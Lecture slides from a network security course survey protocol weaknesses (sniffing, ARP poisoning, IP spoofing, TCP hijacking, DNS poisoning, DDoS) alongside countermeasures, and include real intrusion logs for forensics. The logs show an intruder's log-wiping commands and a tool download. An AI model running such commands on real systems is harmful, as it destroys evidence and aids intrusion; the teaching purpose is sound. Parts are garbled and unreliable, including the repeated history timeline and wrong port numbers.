CNS Lecture 11

Networks 101
Network vulnerabilities
Network attacks
promiscuous mode
denial of service
server attacks
impersonation

CSS94 paper due 12/1/06

CNS Lecture 11 - 2

Crypto toolbox
- tools for building secure applications
  - fast symmetric key encryption
  - hash functions
  - random numbers, prime testing
  - public key crypto
  - big integer math libraries/methods
  - algorithms for message authentication, key exchange, user authentication
  - rules for encoding, padding, interoperability
  - no standard API, but OpenSSL is a good start

SSL: TCP wrapper for secure client-server communication
assignment 4 \rightarrow 7 \rightarrow B
message/user authentication, encryption, D-H key
assignment 6: do it all with SSL and public keys

Crypto toolbox
- fast symmetric key encryption
- hash functions
- random numbers, prime testing
- public key crypto
- big integer math libraries/methods
- algorithms for message authentication, key exchange, user authentication
- rules for encoding, padding, interoperability
- no standard API, but OpenSSL is a good start

SSL: TCP wrapper for secure client-server communication
assignment 4 \rightarrow 7 \rightarrow B
message/user authentication, encryption, D-H key
assignment 6: do it all with SSL and public keys

CNS Lecture 11 - 3

You are here ...
Attacks & Defenses
- Risk assessment
- Viruses
- Unix security
- authentication
- Network security
  - Firewall, pm, PSec, DS
  - Forensics

Cryptography
- Random numbers
- Hash functions
- MD5, SHA, RIPEMD
- Classical + stego
- Number theory
- Karhunen
- Symmetric key
- DES, Rijndael, R3C
- Public key
- Crypto APIs

Applied crypto
- GSH
- POP
- S/MIME
- SSL
- Kerberos
- IPSeC
- Crypto APIs
- Securing coding

RSA, DSA, D-H, ECC

CNS Lecture 11 - 4

Network security
Goals -- integrity, privacy, availability
Increasing risks: standalone, multiuser, remote user, network
Threats (active/passive)
- interruption -- denial of service
- modification
- fabrication -- replay, impersonation
- interception -- sniffing
- traffic analysis

CNS Lecture 11 - 5

Network vulnerabilities
- non-localized
- surveillance difficult
- no legal jurisdiction
- prolific (targets/attackers)
  - Trend: 24x7 DSL/broadband, wireless
- many complex services
- many trusting services

yet, increasing reliance on the network

CNS Lecture 11 - 6

Net history
- 1957 ARPA
- 1969 ARPANET (packet switched)
- 1975 Ethernet
- 1977 UNIX POP-11
- 1978 UNIX TCP/IP
- 1979 USENET, XMODEM, BBS
- 1979 BBNET (PSA)
- 1980 BSD 4.2 TCP/IP, FidoNet
- 1981 DECnet, IPX/SPX, IBM SNA
- 1982 Sun workstations, sniffer
- 1983 ASNET (home 1200 bps)
- 1984 PRONET (SNA), Ether, IBM SNA
- 1985 ORNL-MILNET (9.6Kbps), Internet, ISDN
- 1986 NSFNET (home 1200 bps)
- 1987 ORNL (home 300 bps), XMODEM, BBS
- 1988 ORNL-MILNET (9.6Kbps), Ether, IBM SNA
- 1989 ORNL (home 300 bps), XMODEM, BBS
- 1990 ORNL (home 1200 bps)
- 1991 ORNL (home 1200 bps)
- 1992 ORNL (home 1200 bps)
- 1993 ORNL (home 1200 bps)
- 1994 ORNL (home 1200 bps)
- 1995 ORNL (home 1200 bps)
- 1996 ORNL (home 1200 bps)
- 1997 ORNL (home 1200 bps)
- 1998 ORNL (home 1200 bps)
- 1999 ORNL (home 1200 bps)
- 2000 ORNL (home 1200 bps)
- 2001 ORNL (home 1200 bps)
- 2002 ORNL (home 1200 bps)
- 2003 ORNL (home 1200 bps)
Internet history

- Developed in late 70’s
  - No need for security, small community of users
  - Initial goals: scalability and ease of use
  - Security issues not understood/foreseen at that time
- Today Internet is a voluntary world-wide federation of networks
  - No central authority, no common culture
  - Links millions of people and organizations (competitors, enemies)
  - Voluntary (critical) services include routing and naming (DNS)
  - Routers and servers are just computers with their own vulnerabilities
  - You can’t be sure where an outgoing packet will be routed or where an incoming packet came from!

What's a network

- media
- protocols
- service

Selection criteria:
- speed
- connectivity
- cost
- community of interest
- portability
- availability/survivability

OSI reference model

- physical -- bit stream (wire, optical, wireless)
- data link -- packets on the link (FDDI, ethernet, token ring)
- network -- connects links, routers (IP)
- transport -- reliable stream (TCP, UDP)
- session -- more reliable (SSL)
- presentation -- canonical form (API, data conversion)
- application -- mail, telnet, http, ssh, etc.

Layer vulnerabilities

- Physical/data link: DoS, address spoofing, sniffing
- Network: address spoofing, DoS, re-routes
- Transport: DoS, hijacking, insertion, modification, replay
- Application: buffer overflows, bugs, DoS

OSI and IP

- Application
- Presentation
- Session
- Transport
- Network
- Data Link
- Physical

IP Conceptual Layers

- Application
- Presentation
- Session
- Transport
- Network
- Data Link
- Physical

OSI Reference Model

- Ethernet, 802.3, 802.5, ATM, FDDI, and so on

Layers/encapsulation

Protocol Relationships

- http | FTP | TFTP ... | Application
- TCP | UDP ... | Transport
- Internet Protocol | ICMP | Network
- Local Network Protocol | Data Link

Protocol encapsulation

- Data is carried in packets. Packets are intermixed.

Interconnects

- modem voice/data
- repeaters signal regeneration (data)
- hubs/switches filter (data/link)
- bridges/concentrators/access point filter, store & forward, media interconnect, modem pools
- routers/NAT network-layer routing/ address mapping
- firewall gateway/routers
- gateways application-layer conversion, e.g., mail gateway
Addressing

* Address: service (port), host, network to name to number translation (DNS)
* network to physical mapping (ARP)

IPv6: 128-bit address

Private (NAT) RFC 1918:

- 32-bit internet address (IPv4)

`-- TCP/IP LOG -- TM: Wed Dec  7 10:43:42 --`

`-- TCP/IP LOG -- TM: Wed Dec  7 10:42:22 --`

...`

`DATA: USER romine`

`STAT: Wed Dec  7 10:43:45, 11 pkts, 128 bytes [DATA LIMIT]`

`PATH: wonderland.epm.ornl.gov(1697) => MENKAR.CS.UTK.EDU(ftp)`

`DATA: bbd`

`STAT: Wed Dec  7 10:43:28, 179 pkts, 128 bytes [DATA LIMIT]`

`PATH: shadow.epm.ornl.gov(1021) => manzana.epm.ornl.gov(rlogin)`

Tools: (tcpdump, xtr, traffic, etherfind, ethereal, root privilege UNIX (just do it on Win*), make your own (libpcap)

Spoofing: by host name, or IP address, or MAC address

...`

...`

...`

...`

...`

...`

...`

Wireless

* Easy to sniff
  * sniffers: netstumbler wepcrack airport
  * wardriving – drive around, locate open wireless
  * Free internet services
  * Apartments, dorms,...
  * Internet maps of openwrt

...`

...`

...`

...`

...
Promiscuous mode defenses

- Impossible (?) to detect remotely
  - Baiting
  - ping delay? (maybe no wire)
- Host detection
  - ifconfig or cpm.c
  - Big file or CPU load
- Routing, bridging
- Switches/VLANs instead of hubs
- One-time passwords
- Encryption
  - Link layer, e.g., WEP/802.11i for wireless
  - End-to-end (ssh, IPsec)
- Inusable interfaces

smart link layer

- Hub pass all traffic to all ports
- Switches only pass multicast and matching destination traffic
- VLANs based on even smarter layer-2 switch
  - Ports tagged (802.1Q)
- Port can be grouped into virtual LANs
- Control port to configure switch
- Attacks (try to get traffic to jump from one VLAN to another)
  - MAC flooding attack to get switch to fail "open"
  - Control port attacks

Sniffing thru switches

Ettercap

- Sniff tool that poisons ARP caches with "gratuitous" ARP replies
- Can map subnet with ARP queries or PING
  - Get IP address and Ethernet address for each host
- For host X to sniff traffic between hosts A and B
  - Send A an ARP reply stating that ether address of B is X
  - Send B an ARP reply stating that ether address of A is X
  - Now when A and B talk their traffic goes to X, X/ettercap then relays the packet to correct ether address
- Can also modify web pages, man-in-the-middle attacks (ssh1, ssl)

Ettercap -- arp poisoning

Ettercap sniffin'

Ettercap – modifying a web page
tcpdump tutorial

- Handy tool for analyzing network or protocol problems
- Poor man's sniffer or IDS system
- Based on libpcap to read network device in promiscuous mode
- Need root
- Command line switches to select protocols
- Hex output for each packet matching selection criteria or write raw dump file for later post-processing

```
options
-e   display Ether header
-x   display datagram in hex
-s snaplen number of bytes to capture
-n  don't do addr. to name translation
-N  just short hostname
-v  verbose (TTL, ID)
-t  no timestamp
-w filename   save stuff to filename
-r filename  read datagrams from filename, not network
```

tcpdump

tcpdump -N -x port 7
20:14:46.849982 CETUS1A.34875 > ALTAIR.echo: udp 8 (DF)
4500 0024 92c1 4000 ff11 2c68 80a9 5e15
80a9 5d37 883b 0007 0010 029a 7465 7374
696e 6765 6e67 0a 5555 5555 5555 5555

C code
openlog("tomtest",LOG_PID,LOG_MAIL);
syslog(LOG_AUTH|LOG_NOTICE,"sys log test auth/notice");
tcpdump  -X -s 256 port 514
08:00:02.557018 thistle.syslog > thdsun.syslog: udp 44
4500 0048 341d 0000 4011 1d74 86a7 0f0c E..H4...@..t....
86a7 0cba 0202 0202 0034 6db4 3c33 373e .........4m.<37>
746f 6d74 6573 745b 3937 3833 5d3a 2073 tomtest[9783]: s
7973 206c 6f67 2074 6573 7420 6175 7468 ys log test auth
2f6e 6f74 6963 650a /notice.

Ethereal – protocol analyzer

Download it and try it!

- Passively watch the "noise" on your net
- See what your machine is saying (ARP, DNS, multicast, …)
- Capture some of your sessions, e.g., mail, ssh, http, https:

Attacks at all network layers

The Internet protocols

TCP/IP
- ARPA - BSD '81
- defined by R/P/C
- packaged with BSD UNIX
- non-proprietary
- basis of Internet
- many vendor, many media
- designed for open networking, not security
CNS Lecture 11 - 33

IPv6

- IPv6 fixes some of IPv4 problems
  - larger address (32 bit to 128 bit)
  - Extension headers + security
- IPsec and NAT for IPv4 have delayed IPv6

CNS Lecture 11 - 11

IP impersonation on a LAN

- has to be local IP address
- easy to configure your IP address
- For denial of service, create IP packet with bogus source address and write to raw ethernet driver
- ARP warnings if not timed out
- detect Ether address (defeatable)
- fake services, password capture
- impersonate via ARP
  - Tools: hunt or ettercap
  - exploit "trusted host"

CNS Lecture 11 - 34

Physical layer

- media: Ethernet, token ring, FDDI, ATM, HIPPI, hyperchannel, point-to-point, wireless, fiber channel
- mapping IP address to LAN address
  - static mapping (DECnet), modify ether address
  - reverse mapping, diskless (DHCP)
  - dynamic (ARP)
- If IP address is on local net and not in cache, broadcast ARP request
  - receive reply and cache, send IP packets
  - cache entry times out in about 20 minutes

CNS Lecture 11 - 35

Network layer

IP Internet Protocol (RFC791)

- connectionless (datagram)
- unreliable
- checksum on header only
- fragmentation/assembly based on interface MTU
- 32-bit address (src/dest)
- protocol field (TCP, UDP, ICMP, IPsec)
- TTL (hop count)
- routing layer (using net portion of 32-bit destination address)

CNS Lecture 11 - 36

IP header

- checksum only over the header
- options include
  - security (military label)
  - source routing
  - packets can be fragmented
  - protocol (TCP, UDP, IPv6)
  - address, network, routing
  - address-name mapping (DNS, hosts)
  - routing based on destination address
  - can spoof IP source address
  - like return address on an envelope

CNS Lecture 11 - 37

IPv6 vulnerabilities

- host impersonation via source routing
  - routers can block source routing
- can spoof source addresses -- DoS attacks,
  - host impersonation (sequence number guessing, hijacking)
  - routers can block spoofed addresses
- Broken IP packets (bad proto, malformed options)
- land attack -- IP src and dst same
- teardrop -- bad fragments
**IP fragmentation attacks**

- IP Fragment Attack
  - Offset value too small
  - Indicates unusually small packet
  - May bypass some packet filter devices (forward)
- IP Fragment Overlap
  - Offset value indicates overlap
  - Teardrop attack

**IP source routing**

- IP option to include route to/from host
- Remote hacker spoofs source address to look of trusted internal host
- Internal host thinks it's a local (trusted) host, but source routing routes packet back to hacker's machine

Countermeasures
- Route can (should) be configured to drop source routed packets
- tcpwrappers also drops such packets

**ICMP**

- Internet Control Message Protocol (RFC792)
- Arguably part of IP
- Error control
  - Ping
  - Source quench
  - Redirect
  - Destination unreachable
  - Time exceeded
  - Time Stamp reply
  - Address mask reply
- Flow control (hop-to-hop)
- DSCP of service unreach, redirect, source quench
- Supports broadcast destination
- Ping of death (frag'd ICMP)
- Good stego cover (Loki)

**Transport layer**

- End-to-end services to application
- API (BSD sockets, TLI)
- Flow control
- Error recovery
- ICMP, UDP, TCP
  - ICMP ping, traceroute
  - TCP ssh, www, ftp, mail, telnet, chat, print, finger, X...
  - UDP ntp/time, NFS, DNS, audio/video, RPC

**TCP**

- Transmission Control Protocol (RFC793)
- Connection-oriented
- 16-bit port
- Reliable
- Timeouts, checksums, sequence numbers
- src, src port, dst, dst port

**Routing**

- Each packet could take a different route
- Routers exchange routing info (see they know about)
- Traceroute
  - Routers can be configured to route packets to traceroute
  - Pair TTL to 1, 2, 4, 8, 16, 32, 48, 64, 80, 88, 96

---

**TCP header**

- Data
- Options
- Sequence Number
- Acknowledgment Number
- Window
- Urgent Pointer
- Checksum
- Offset

---
TCP

3-way handshake

---SYN-----  ---->  <--- SYN, ACK ---->
----ACK-----  ---->

SYN flooding -- denial of service
consumes server resources
Land c attack SYN with src and dst IP
the same

Send FIN or RST to break a connection
need to get sequence number right
Do port scans to find services (nmap)

TCP ports (/etc/services)

<table>
<thead>
<tr>
<th>service</th>
<th>port</th>
<th>type</th>
</tr>
</thead>
<tbody>
<tr>
<td>echo</td>
<td>7/tcp</td>
<td>tcp</td>
</tr>
<tr>
<td>echo</td>
<td>7/udp</td>
<td>udp</td>
</tr>
<tr>
<td>ftp-data</td>
<td>20/tcp</td>
<td>tcp</td>
</tr>
<tr>
<td>ftp</td>
<td>21/tcp</td>
<td>tcp</td>
</tr>
<tr>
<td>telnet</td>
<td>513/tcp</td>
<td>tcp</td>
</tr>
<tr>
<td>finger</td>
<td>79/tcp</td>
<td>tcp</td>
</tr>
<tr>
<td>login</td>
<td>514/tcp</td>
<td>tcp</td>
</tr>
<tr>
<td>shell</td>
<td>6001-10/tcp</td>
<td>tcp</td>
</tr>
</tbody>
</table>

Mitnick attack

sophisticated attack at SDSC, 1994
• Detection: system logs
• How: IP spoofing, sequence number guessing, phone switches, rhosts
• What: root access
• Why: steal files (cell phone software)
• Who: Kevin Mitnick ... prosecuted

Sequence number guessing (TCP)

• fixed increment of “new” sequence numbers
• probe target to deduce next sequence number
• take out trusted host
• spoof trusted host to target host with raw socket packets
• you must know what flow of session will be because you don’t get server packets

Countermeasures
• new OS’s, random seq. number
• router blocks local from external

don’t base trust on IP address or name

Sequence number guessing (Ranum)

Session hijacking (TCP)

Sophisticated attack
• bad guy in path of hosts
• sniff initial session establishment
• reset client and take over session
• can hijack strong-authenticated session (skey, securid)

Countermeasure – encryption (ssh)

Session hijacking (Ranum)
UDP

User Datagram Protocol (RFC 768)
- connectionless (datagram)
- 16-bit port
- unreliable (lost, damaged, duplicated, delayed, out of sequence)
- optional checksum
- supports broadcast

- fraggle attack — UDP broadcast to port 7 (echo)
  - source port and dest port 7 (or 19 or 135 win*)
- UDP bomb (UDP length less than IP length)

IP vulnerabilities summary
- denial of service
  - ICMP smurf, redirects, unreachable
  - SYN flooding
- impersonation
  - host rename (LAN)
  - DNS
  - source routing
- session capture
  - TCP seq number guessing
  - TCP hijacking
- server attacks
  - application flooding (ftp, mail, echo)
  - buffer overflows
  - Software bugs

UNIX networking
- configuration at boot (ifconfig)
- servers started at boot
- notion of reserved ports
- trusted hosts (r-services)
- inetd controls most servers

Reserved Ports
- must be super-user to listen() on ports < 1023
- prevent non-privileged user from impersonating well-known service (rlogind, ftpd, telnetd)
- just a convention, no RFC requirement
- PC or superuser can easily impersonate

r-utils
- rlogin, rsh, rcp, rdump
- Notion of "single signon"
- crunchy on the outside, soft on the inside
- Files
  - /etc/hosts.equiv
  - .rhosts
  - /etc/hosts.equiv
- convenient
  - no password exposure
- transitive trust
  - based on host name (usually) — spoofable (host impersonation)

DNS
- Domain Name Service (a network service)
- In the beginning, there was just /etc/hosts ... modify hosts file
- add to name, name to add
- anyone can have a domain
- add to your domain name!
- corrupt cache (DNS poisoning)
- first responder — intercept and provide your own reply
- impersonate trusted host
- attack enterprise DNS server (LTK, solaris attack)
- flood DNS servers for denial of service

Countermeasures
- protect DNS machine
- secure DNS protocol ( Ago)

Host impersonation
- How do I proof thee?
  - Let me count the ways
  - boot with Bob's IP
  - ARP poisoning (hunt, ettercap)
  - DNS attacks
    - your own DNS
    - DNS poisoning
  - hack DNS machine
  - source routing (IP option)
  - spoofed source address and sequence number guessing
  - exploit trusted host (rhosts)
DNS poisoning

- You make a DNS request to badboy.com's DNS server
- DNS server's request: what are the address records for subdomain.badboy.com?
- Answer contains an additional section that you cache

Authority section:

Additional section:
- ns.wikipedia.org. IN A w.x.y.z

DNS server compromise

- University DNS server runs on Solaris. Find a Solaris vulnerability and take-over DNS server, remapping all addresses to bad boy's site in Brazil
- New DNS request for IP address of hydra1.cs.utk.edu returns address in Brazil
- Brazil guy can change info and forward packet on to real UTK host or provide his own bogus server to capture passwords etc.

routers

- limited function processors, custom OS
- usually good physical protection
- filters and access control lists
- access via console, telnet (tacacs), SNMP
- vulnerabilities
  - bogus routing table updates (redirect, blackholes)
  - flooding attacks
  - trusted IP addresses
  - buffer overflows in router "servers"
- countermeasures
  - encrypted/authenticated access
  - smtp (authentication, privacy, timeliness)
  - signed routing packets

Traffic analysis

encrypted traffic threats

- covert channels
- who's talking to whom
- frequency, event correlation
- quantity, length, patterns of messages
- countermeasures
  - padding messages
  - continuous/random traffic

Server attacks

General design flaws, implementation bugs (overflows), configuration mistakes

- finger, sysstat, netstat, ruserd
  - stack attacks (buffer overflows)
  - Free information
  - disable or neuter
- r-utils (name of use)
  - host impersonation
  - transient trust
  - reverse lookup
  - filter/whitelist
- telnet
  - Clear-text passwords
  - time passwords or duplicate and use one

Sever attacks

- sendmail
  - complex
  - Escapology, bug-du-jour
  - MIME
  - keep up with patches
  - separate mail reception from user delivery
- rtp (time service)
  - reverse clocks
  - mess up NFS, logs, cryptic services
  - use a local 'time source' (WWV, GPS, CDMA, atomic clocks)
  - authentication mode
NTP

- Network Time Protocol (NTP) synchronizes clocks of hosts and routers in the Internet.
- Well over 100,000 NTP peers deployed in the Internet and its tributaries all over the world.
- Provides nominal accuracies of low tens of milliseconds on WANs, submilliseconds on LANs, and submicroseconds using a precision time source such as a cesium oscillator or GPS receiver.
- Unix NTP daemon ported to almost every workstation and server platform available today - from PCs to Crays - Unix, Windows, VMS and embedded systems.

Following is a general overview of the NTP architecture, protocol and algorithm and how security was added on.

Needs for synchronized time

- Stock market sale and buy orders and confirmation timestamps.
- Network fault isolation.
- Network monitoring, measurement and control.
- Distributed multimedia stream synchronization.
- RPC at-most-once transactions; replay defenses; sequence-number disambiguation.
- Research experiment setup, measurement and control.
- Cryptographic key management and lifetime control.
  - Replay.
  - Key lifetime.

NTP capsule summary

- Primary (stratum 1) servers synchronize to national time standards via radio (WWV), satellite (GPS), atomic clock, CDMA, or modem.
- Secondary (stratum 2, ...) servers and clients synchronize to primary servers via hierarchical subnet.
- Clients and servers operate in master/slave, symmetric or multicast modes with or without cryptographic authentication.
- Reliability assured by redundant servers and diverse network paths.
- Engineered algorithms reduce jitter, mitigate multiple sources and avoid improperly operating servers.
- System clock is disciplined in time and frequency using an adaptive algorithm responsive to network time jitter and clock oscillator frequency wander.

NTP configurations

(a) Workstations use multicast mode with multiple department servers.
(b) Department servers use client/server modes with multiple campus servers and symmetric modes with each other.
(c) Campus servers use client/server modes with up to six different external primary servers and symmetric modes with each other and external secondary (buddy) servers.

NTP accuracy

- With special kernel mode sub-microsecond.
- Typical stratum 1, sub-millisecond.
- Typical stratum 2, within 10 ms.
- Error propagates through strata, amplified by network jitter.
- If host loses net connection, continues to run with "adjusted" frequency.

NTP vulnerabilities/countermeasures

- UDP request/response.
- Bogus responses, modified responses, delayed responses (replay).
- Denial of service.

Countermeasures ... adding security.
- v2 - DES CBC keyed hash.
- v3 - added keyed MD5 (HMAC), shared secret.
- v4 - public key options (need SSL, certificates, etc).

Protocol for clock selection eliminates some bogus tickers.

have one or more local (stratum 0) time sources (GPS, CDMA).
NTP protocol header and timestamp formats

Server attacks

- anonymous ftp
  - expose /etc/passwd
  - upload -- free storage
  - disable
  - configure properly (chroot, dummy passwd)

- sftp
  - unauthenticated file transfer (diskless boot)
  - expose /etc/passwd
  - disable
  - configure with chroot

Server attacks

- X11
  - capture display
  - capture keyboard input
  - provide bogue input
  - ssh - no +
  - use .Xauthority
  - xterm -- secure keyboard (ctrl, left button)

- talked earlier about web server attacks/defenses
  - Cross-site scripting, SQL injection, phishing, plugins

Server attacks

- portmap
  - mountd
  - rpcinfo -p
  - filter

- NFS,RPC,NIS
  - export to world (+)
  - passwd exposure
  - disable/configure (mountable setuid -- NOT)
  - ORNL attack
  - weird domain names
  - secure RPC

Morris worm

Attacked ORNL November, 1988
- widespread Internet attack
- 6000 hosts (10% of Internet)
- Detection system console log
- How: sendmail or buffer overflow
- What: root access, self-repawning contained at ORNL, dumb luck
- Why: experimenting
- Who: Cornell student -- prosecuted

Morris worm

- exploited sendmail or stack overflows in fingerd
- sendmail -- complex, design flaws, debugging aids
- connect to fingerd
- send 536 special bytes (machine instructions)
- overflow buffer
- VAX and Sun (motorola) version (binary specific)
- alters return address to point to buffer on stack

Effect was: execve("/bin/sh",0,0)
remote user was now connected to a root shell
Denial of service (DoS)

- Flooding or "poison packet"
- Overload service/net, e.g. SYN attack
- Crash server or your machine
- Overload DNS, routers, servers
- Usually done with bogus source IP address(es)
- Difficult to block/filter

2nd order denial of service: spoofed source addresses cause your auto-response IDS to block access to DNS boxes, etc.
- Difficult to trace (open research)
- Distributed denial of service attacks (Feb, 2000)

SYN attack

- SYN flood attack
- DDoS

Distributed denial of service attacks (DDoS)

- Indications in August '99
- Toolkit available at hacker sites (etachekits or trinoo or tfn)
- CERT meeting in Dec
- E-commerce sites flooded in Feb 2000
- Correlation of attack daemons, control daemons
- Hacker breaks into various hosts and installs daemons/zombies (.edu and home dsl/broadband)
- Stealth packets with spoofed src address can be used to start attack -- control daemons are told the target and they start up the attack daemons
- Attack daemons denial of service packets with bogus IP source addresses
- Hacker tries to get attack daemons on hi-speed net hosts

DDoS botnets

- Indications in August '99
- Toolkit available at hacker sites (etachekits or trinoo or tfn)
- CERT meeting in Dec
- E-commerce sites flooded in Feb 2000
- Correlation of attack daemons, control daemons
- Hacker breaks into various hosts and installs daemons/zombies (.edu and home dsl/broadband)
- Stealth packets with spoofed src address can be used to start attack -- control daemons are told the target and they start up the attack daemons
- Attack daemons denial of service packets with bogus IP source addresses
- Hacker tries to get attack daemons on hi-speed net hosts

DDoS countermeasures

- Software to look for daemons/zombies on your host
- ISPs need to prevent spoofed packets from leaving their net
- Backtracking spoofed stream is hard (technical/political)
- Flow must be active
- Net administrators must log to router
- Start at target net router
- Cross administrative/country boundaries
- Recent proposal for new ICMP type for routers to give interface info on random packets ...
- Open research
- Today "time" on botnet is being sold for spam attacks, DDoS, ...
CNS Lecture 11 - 79

idlescan port scan – using a printer to scan a site

One of the many "services" we provide for the network administrator (NIS) is

AT&T attacks Feb/Mar '92

guest/demo/visitor logins 296
rlogins 62
FTP passwd fetches 27
NNTP 16
portmapper 11
whois 10
SNMP 9
X11 8
TFTP 5
systat 2
NFS 2

Number of evil sites 95

ORNL IDS/IPS

IDS automatically sets router/firewall filters for misbehavin' hosts … average 200 new filters/day

CNS Lecture 11 - 80

Port scans

Net attacker MO

- find active hosts (DNS, ICMP broadcasts)
- scan ports (Nessus, snmp, idlescan, SATAN)
- determine QoS (rtp, rtp, telnet, tftp)
- − QoS handle strange packets often in unique ways ...
- try exploit (guest/stolen accounts/stack overflows)
- Social engineer your way in attachments, plug-ins, phishing
- Install hacking tools (root kit)
- clean up logs
- Install trojans/ripper/keystroke-logger/bot
- review sniffer logs, get accounts/passwords to other systems
- Use bot as backdoor for later command and control
- Sell your bot
- Tell the world

CNS Lecture 11 - 81

Sample attack

- 3/7/2000 -- massive port 53 scan from 212.43.32.10
- Seeking vulnerable versions of named (overflow)
- IDS detects scan, warns hosts running 53 (DNS/bind)
- net manager of attacking host 212.43.32.10 notified
- sys mgr fails to disable 53 on an ornl.gov machine

- 3/11/2000 IDS keystroke logger detects bad stuff:
  - rm -rf /tmp/t; rm -rf /tmp/.h; rm -rf /root/.bash_histo^U
  - rm -rf /tmp/t; rm -rf /tmp/.h; rm -rf /root/.bash_histo^U
  - Y0 (203)w^Crm -rf /tmp/t; rm -rf /tmp/.h; rm -rf /root/.bash_histo^U

CNS Lecture 11 - 82

Hacker keystrokes from net IDS logs

-- TCP/IP LOG --
PATH: adsl.soap.net(2067) => trid.x4d.ornl.gov(telnet)
STAT: Sat Mar 11 14:33:28, 751 pkts, 540 bytes [TH_FIN]
DATA:
  : P
  ^Y(255)(240)(255)(250)
  : 38400,38400(255)(240)(255)(250)'
  : (255)(240)(255)(250)^X
  : cd (127)(127)cd /dev/...
  : cd /dev/...
  : ls
  : ftp dns2.whatever.net
  : anonymous
  : bob@
  : get login.tgz
  : get secure.tgz

Forensics:
- notify dms2 that they are a hacker repository
- Hack the tools from dms2

CNS Lecture 11 - 83

network flows from IDS

CNS Lecture 11 - 84

attack

- hacker goes to a hacked site to ftp its tools
- hacker installs backdoor login program (rewt)
- installs telnet/ssh that logs accounts/passwords and doesn't log his activity
- installs modified inetd that starts a root-shell "service" on port 26874
- cleans up logs
- took 10 minutes
Post mortem (forensics)

- hacker telnet’d to see OS type
- known exploit (buffer overflow) of RedHat named (port 53)
- exploit created open root account for telnet and backdoor
- Contact attacking sites, CIAC, FBI
- ornl machine disabled and analyzed
- ornl machine re-installed
- hacker came from several different sites
- toolkit included sniffer (not installed), and send with backdoor account

More on forensics next time ...

Next time ...

network defenses
forensics